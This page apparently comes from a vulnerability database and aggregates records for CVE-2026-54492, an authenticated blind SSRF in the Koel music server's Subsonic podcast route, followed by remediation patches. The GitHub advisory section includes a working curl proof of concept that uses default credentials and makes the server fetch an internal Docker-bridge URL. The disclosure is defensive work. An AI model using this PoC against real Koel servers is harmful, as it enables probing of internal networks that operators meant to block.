Vulnerability-Lookup

CVE-2026-54492 (GCVE-0-2026-54492)

Vulnerability from cvelistv5 – Published: 2026-08-19 20:44 – Updated: 2026-08-20 13:43

Title

Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation

Summary

Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createPodcastChannel.view route accepts an authenticated user's private URL because app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php does not apply the SafeUrl validation used by the regular podcast API. app/Http/Controllers/Subsonic/CreatePodcastChannelController.php passes the URL to app/Services/Podcast/PodcastService.php, where PodcastService::addPodcast() and createParser() invoke Poddle::fromUrl() during channel creation, causing immediate server-side requests to loopback, Docker bridge, or RFC1918 HTTP destinations. The confirmed impact is blind internal request execution because generic response-body exfiltration was not demonstrated through this route. This issue is fixed in version 9.7.0.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-20 13:41 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/koel/koel/security/advisories/…	x_refsource_CONFIRM
https://github.com/koel/koel/pull/2545	x_refsource_MISC
https://github.com/koel/koel/commit/1331f335342b4…	x_refsource_MISC
https://github.com/koel/koel/releases/tag/v9.7.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
koel	koel	Affected: < 9.7.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54492",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-20T13:41:13.920879Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-20T13:43:02.603Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "koel",
          "vendor": "koel",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 9.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createPodcastChannel.view route accepts an authenticated user\u0027s private URL because app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php does not apply the SafeUrl validation used by the regular podcast API. app/Http/Controllers/Subsonic/CreatePodcastChannelController.php passes the URL to app/Services/Podcast/PodcastService.php, where PodcastService::addPodcast() and createParser() invoke Poddle::fromUrl() during channel creation, causing immediate server-side requests to loopback, Docker bridge, or RFC1918 HTTP destinations. The confirmed impact is blind internal request execution because generic response-body exfiltration was not demonstrated through this route. This issue is fixed in version 9.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-19T20:44:33.090Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
        },
        {
          "name": "https://github.com/koel/koel/pull/2545",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/koel/koel/pull/2545"
        },
        {
          "name": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
        },
        {
          "name": "https://github.com/koel/koel/releases/tag/v9.7.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/koel/koel/releases/tag/v9.7.0"
        }
      ],
      "source": {
        "advisory": "GHSA-w79m-f3jx-779v",
        "discovery": "UNKNOWN"
      },
      "title": "Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54492",
    "datePublished": "2026-08-19T20:44:33.090Z",
    "dateReserved": "2026-06-15T18:01:15.510Z",
    "dateUpdated": "2026-08-20T13:43:02.603Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-54492",
      "date": "2026-10-02",
      "epss": "0.00411",
      "percentile": "0.33071"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "koel",
                "vendor": "koel",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 9.7.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createPodcastChannel.view route accepts an authenticated user\u0027s private URL because app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php does not apply the SafeUrl validation used by the regular podcast API. app/Http/Controllers/Subsonic/CreatePodcastChannelController.php passes the URL to app/Services/Podcast/PodcastService.php, where PodcastService::addPodcast() and createParser() invoke Poddle::fromUrl() during channel creation, causing immediate server-side requests to loopback, Docker bridge, or RFC1918 HTTP destinations. The confirmed impact is blind internal request execution because generic response-body exfiltration was not demonstrated through this route. This issue is fixed in version 9.7.0."
          }
        ],
        "id": "CVE-2026-54492",
        "lastModified": "2026-09-09T21:15:59.613",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 1.4,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-54492",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-20T13:41:13.920879Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-19T21:16:57.600",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/koel/koel/pull/2545"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/koel/koel/releases/tag/v9.7.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-918"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-54492",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-20T13:41:13.920879Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-20T13:42:57.984Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "koel",
              "vendor": "koel",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 9.7.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createPodcastChannel.view route accepts an authenticated user\u0027s private URL because app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php does not apply the SafeUrl validation used by the regular podcast API. app/Http/Controllers/Subsonic/CreatePodcastChannelController.php passes the URL to app/Services/Podcast/PodcastService.php, where PodcastService::addPodcast() and createParser() invoke Poddle::fromUrl() during channel creation, causing immediate server-side requests to loopback, Docker bridge, or RFC1918 HTTP destinations. The confirmed impact is blind internal request execution because generic response-body exfiltration was not demonstrated through this route. This issue is fixed in version 9.7.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "LOW",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-918",
                  "description": "CWE-918: Server-Side Request Forgery (SSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-19T20:44:33.090Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
            },
            {
              "name": "https://github.com/koel/koel/pull/2545",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/koel/koel/pull/2545"
            },
            {
              "name": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
            },
            {
              "name": "https://github.com/koel/koel/releases/tag/v9.7.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/koel/koel/releases/tag/v9.7.0"
            }
          ],
          "source": {
            "advisory": "GHSA-w79m-f3jx-779v",
            "discovery": "UNKNOWN"
          },
          "title": "Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-54492",
        "datePublished": "2026-08-19T20:44:33.090Z",
        "dateReserved": "2026-06-15T18:01:15.510Z",
        "dateUpdated": "2026-08-20T13:43:02.603Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-54492

Vulnerability from fkie_nvd - Published: 2026-08-19 21:16 - Updated: 2026-09-09 21:15

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f
	security-advisories@github.com	https://github.com/koel/koel/pull/2545
	security-advisories@github.com	https://github.com/koel/koel/releases/tag/v9.7.0
	security-advisories@github.com	https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "koel",
          "vendor": "koel",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 9.7.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Koel is a free, open-source music streaming solution. Prior to 9.7.0, the Subsonic-compatible createPodcastChannel.view route accepts an authenticated user\u0027s private URL because app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php does not apply the SafeUrl validation used by the regular podcast API. app/Http/Controllers/Subsonic/CreatePodcastChannelController.php passes the URL to app/Services/Podcast/PodcastService.php, where PodcastService::addPodcast() and createParser() invoke Poddle::fromUrl() during channel creation, causing immediate server-side requests to loopback, Docker bridge, or RFC1918 HTTP destinations. The confirmed impact is blind internal request execution because generic response-body exfiltration was not demonstrated through this route. This issue is fixed in version 9.7.0."
    }
  ],
  "id": "CVE-2026-54492",
  "lastModified": "2026-09-09T21:15:59.613",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54492",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-20T13:41:13.920879Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-19T21:16:57.600",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koel/koel/pull/2545"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koel/koel/releases/tag/v9.7.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-W79M-F3JX-779V

Vulnerability from github – Published: 2026-07-15 17:07 – Updated: 2026-07-15 17:07

Summary

Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation

Details

Summary

Koel v9.6.0 protects the regular podcast subscription API with SafeUrl, but the Subsonic-compatible createPodcastChannel.view route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

This is distinct from GHSA-7j2f-6h2r-6cqc, which fixed unsafe episode enclosure URLs in versions <= 9.3.4. The issue here is a newer validation gap in the Subsonic route itself, still present in v9.6.0.

Details

SafeUrl protects the regular podcast API only

The regular podcast subscription path validates the feed URL with SafeUrl:

app/Http/Requests/API/Podcast/PodcastStoreRequest.php

return [
    'url' => ['required', 'url', new SafeUrl()],
];

The Subsonic-compatible route does not:

routes/subsonic.php
createPodcastChannel.view
app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php

return [
    'url' => ['required', 'string', 'url'],
];

That creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.

The URL is fetched immediately by the podcast parser

The attacker-controlled URL is used by the podcast service during channel creation:

app/Http/Controllers/Subsonic/CreatePodcastChannelController.php
app/Services/Podcast/PodcastService.php

PodcastService::addPodcast() calls:

$parser = $this->createParser($url);

and createParser() resolves to:

return Poddle::fromUrl($url, 5 * 60, $this->client);

This means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.

This bypasses Koel's intended SSRF control for podcast URLs

Koel already added SafeUrl to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

Authenticate and obtain an API token:

API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)

Obtain the user's Subsonic API key:

SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)

Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:

TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1"

Confirm the regular web API blocks the URL:

curl -i -X POST http://127.0.0.1:18081/api/podcasts \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"url\":\"$TARGET_URL\"}"

Expected result:

HTTP 422
Error includes The url must point to a public URL.
Trigger the Subsonic route with the same URL:

curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode "url=$TARGET_URL"

Expected result:

HTTP 200
JSON includes "status":"ok"
Confirm the server-side request happened by checking the internal HTTP service logs.

During validation, the local HTTP test server received HEAD and GET requests for /feed.xml?run=1.

Impact

An authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.

Validated impact: - SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server - Internal service discovery and request execution through the podcast parser

Generic response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.

Remediation

The Subsonic podcast request validator should apply SafeUrl, and the parser entry point should reject unsafe targets as defense in depth.

Suggested patch for app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php:

diff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
@@
 namespace App\Http\Requests\Subsonic;

 use App\Http\Requests\Request;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
-            'url' => ['required', 'string', 'url'],
+            'url' => ['required', 'string', 'url', new SafeUrl()],
         ];
     }
 }

Suggested defense-in-depth patch for app/Services/Podcast/PodcastService.php:

diff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php
--- a/app/Services/Podcast/PodcastService.php
+++ b/app/Services/Podcast/PodcastService.php
@@
     private function createParser(string $url): Poddle
     {
+        if (!$this->network->isSafeUrl($url)) {
+            throw FailedToParsePodcastFeedException::create($url);
+        }
+
         return Poddle::fromUrl($url, 5 * 60, $this->client);
     }
 }

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T17:07:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nKoel `v9.6.0` protects the regular podcast subscription API with `SafeUrl`, but the Subsonic-compatible `createPodcastChannel.view` route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.\n\nThis was validated against `v9.6.0` (`352ea5ec27fa22294da8fb6beacb3d5552f0d09c`) using the official `phanan/koel:9.6.0` image.\n\nThis is distinct from `GHSA-7j2f-6h2r-6cqc`, which fixed unsafe episode enclosure URLs in versions `\u003c= 9.3.4`. The issue here is a newer validation gap in the Subsonic route itself, still present in `v9.6.0`.\n\n### Details\n#### SafeUrl protects the regular podcast API only\n\nThe regular podcast subscription path validates the feed URL with `SafeUrl`:\n\n- `app/Http/Requests/API/Podcast/PodcastStoreRequest.php`\n\n```php\nreturn [\n    \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl()],\n];\n```\n\nThe Subsonic-compatible route does not:\n\n- `routes/subsonic.php`\n  - `createPodcastChannel.view`\n- `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`\n\n```php\nreturn [\n    \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027],\n];\n```\n\nThat creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.\n\n#### The URL is fetched immediately by the podcast parser\n\nThe attacker-controlled URL is used by the podcast service during channel creation:\n\n- `app/Http/Controllers/Subsonic/CreatePodcastChannelController.php`\n- `app/Services/Podcast/PodcastService.php`\n\n`PodcastService::addPodcast()` calls:\n\n```php\n$parser = $this-\u003ecreateParser($url);\n```\n\nand `createParser()` resolves to:\n\n```php\nreturn Poddle::fromUrl($url, 5 * 60, $this-\u003eclient);\n```\n\nThis means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.\n\n#### This bypasses Koel\u0027s intended SSRF control for podcast URLs\n\nKoel already added `SafeUrl` to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.\n\n### PoC\nThe following steps were validated against the official `phanan/koel:9.6.0` image.\n\n1. Authenticate and obtain an API token:\n\n```bash\nAPI_TOKEN=$(\n  curl -sS -X POST http://127.0.0.1:18081/api/me \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"email\":\"admin@koel.dev\",\"password\":\"KoelIsCool\"}\u0027 \\\n  | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"token\"])\u0027\n)\n```\n\n2. Obtain the user\u0027s Subsonic API key:\n\n```bash\nSUBSONIC_KEY=$(\n  curl -sS http://127.0.0.1:18081/api/data \\\n    -H \"Authorization: Bearer $API_TOKEN\" \\\n  | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"current_user\"][\"subsonic_api_key\"])\u0027\n)\n```\n\n3. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge:\n\n```bash\nTARGET_URL=\"http://172.17.0.1:18090/feed.xml?run=1\"\n```\n\n4. Confirm the regular web API blocks the URL:\n\n```bash\ncurl -i -X POST http://127.0.0.1:18081/api/podcasts \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \u0027Accept: application/json\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \"{\\\"url\\\":\\\"$TARGET_URL\\\"}\"\n```\n\nExpected result:\n\n- HTTP `422`\n- Error includes `The url must point to a public URL.`\n\n5. Trigger the Subsonic route with the same URL:\n\n```bash\ncurl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view \\\n  --data-urlencode \"apiKey=$SUBSONIC_KEY\" \\\n  --data-urlencode \u0027f=json\u0027 \\\n  --data-urlencode \"url=$TARGET_URL\"\n```\n\nExpected result:\n\n- HTTP `200`\n- JSON includes `\"status\":\"ok\"`\n\n6. Confirm the server-side request happened by checking the internal HTTP service logs.\n\nDuring validation, the local HTTP test server received `HEAD` and `GET ` requests for `/feed.xml?run=1`.\n\n### Impact\nAn authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API.\n\nValidated impact:\n- SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server\n- Internal service discovery and request execution through the podcast parser\n\nGeneric response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution.\n\n### Remediation\n\nThe Subsonic podcast request validator should apply `SafeUrl`, and the parser entry point should reject unsafe targets as defense in depth.\n\nSuggested patch for `app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n--- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n+++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\SafeUrl;\n@@\n     public function rules(): array\n     {\n         return [\n-            \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027],\n+            \u0027url\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027, \u0027url\u0027, new SafeUrl()],\n         ];\n     }\n }\n```\n\nSuggested defense-in-depth patch for `app/Services/Podcast/PodcastService.php`:\n\n```diff\ndiff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php\n--- a/app/Services/Podcast/PodcastService.php\n+++ b/app/Services/Podcast/PodcastService.php\n@@\n     private function createParser(string $url): Poddle\n     {\n+        if (!$this-\u003enetwork-\u003eisSafeUrl($url)) {\n+            throw FailedToParsePodcastFeedException::create($url);\n+        }\n+\n         return Poddle::fromUrl($url, 5 * 60, $this-\u003eclient);\n     }\n }\n```",
  "id": "GHSA-w79m-f3jx-779v",
  "modified": "2026-07-15T17:07:16Z",
  "published": "2026-07-15T17:07:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-w79m-f3jx-779v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/pull/2545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/releases/tag/v9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

